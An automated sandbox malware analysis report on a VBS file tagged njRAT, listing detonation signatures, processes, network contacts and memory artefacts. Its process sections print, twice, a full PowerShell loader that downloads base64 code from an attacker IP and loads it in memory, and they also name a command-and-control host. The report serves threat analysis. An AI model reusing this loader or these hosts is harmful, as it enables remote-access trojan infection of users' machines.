Malware Analysis Report

2025-06-16 06:50

Sample ID 221009-gzpvlagedm
Target 56325762828282 COBRO JURIDICO.vbs
SHA256 3b8b7f389603923a9fabf32a34ba6301ed3df38ee7eeaac068c8c108409b5532
Tags
njrat nyan cat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b8b7f389603923a9fabf32a34ba6301ed3df38ee7eeaac068c8c108409b5532

Threat Level: Known bad

The file 56325762828282 COBRO JURIDICO.vbs was found to be: Known bad.

Malicious Activity Summary

njrat nyan cat trojan

njRAT/Bladabindi

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-10-09 06:14

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-10-09 06:14

Reported

2022-10-09 06:17

Platform

win7-20220901-en

Max time kernel

43s

Max time network

47s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('0/YUskG/d/ee.etsap//:sptth'))

Network

Country Destination Domain Proto
US 20.7.14.99:80 20.7.14.99 tcp

Files

memory/1672-54-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp

memory/1028-55-0x0000000000000000-mapping.dmp

memory/1028-57-0x000007FEF31B0000-0x000007FEF3BD3000-memory.dmp

memory/1028-58-0x000007FEF2650000-0x000007FEF31AD000-memory.dmp

memory/1028-59-0x0000000002524000-0x0000000002527000-memory.dmp

memory/1028-60-0x000000000252B000-0x000000000254A000-memory.dmp

memory/1028-61-0x0000000002524000-0x0000000002527000-memory.dmp

memory/1028-62-0x000000000252B000-0x000000000254A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-10-09 06:14

Reported

2022-10-09 06:17

Platform

win10v2004-20220812-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"

Signatures

njRAT/Bladabindi

trojan njrat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2180 set thread context of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4832 wrote to memory of 2180 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4832 wrote to memory of 2180 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2180 wrote to memory of 1504 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 2180 wrote to memory of 1504 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2180 wrote to memory of 1552 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('0/YUskG/d/ee.etsap//:sptth'))

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"

Network

Country Destination Domain Proto
US 20.7.14.99:80 20.7.14.99 tcp
US 8.8.8.8:53 paste.ee udp
US 188.114.96.0:443 paste.ee tcp
US 93.184.220.29:80 tcp
US 8.8.8.8:53 proyecto23.dnsdojo.org udp
CO 181.235.11.236:2023 proyecto23.dnsdojo.org tcp
JP 40.79.189.58:443 tcp
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp
US 8.247.211.254:80 tcp
US 8.247.211.254:80 tcp

Files

memory/2180-132-0x0000000000000000-mapping.dmp

memory/2180-133-0x00000232F0F60000-0x00000232F0F82000-memory.dmp

memory/2180-134-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp

memory/1504-135-0x0000000000000000-mapping.dmp

memory/1504-136-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp

memory/1552-137-0x0000000000400000-0x000000000040C000-memory.dmp

memory/1552-138-0x000000000040676E-mapping.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7ae41ba310b3e0f4fc4c6eff982554fd
SHA1 1a382df614c494ff947f88817b9f0fbc76de3a68
SHA256 93939edea4456184f43eeffda4f6e82f125bf5cead24cebcf317aa3fe83efcce
SHA512 8e13185cab71046bb411dae56ccaabd547d3bf961c200fc307f2961eb9caf175dd08631ecf6512578dd333dac3640e653f93115c840b3344648f2a597e789223

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

memory/2180-141-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp

memory/1552-142-0x00000000050D0000-0x000000000516C000-memory.dmp

memory/1552-143-0x0000000005720000-0x0000000005CC4000-memory.dmp

memory/1552-144-0x00000000052E0000-0x0000000005372000-memory.dmp

memory/1552-145-0x0000000005200000-0x000000000520A000-memory.dmp

memory/1552-146-0x0000000005470000-0x00000000054D6000-memory.dmp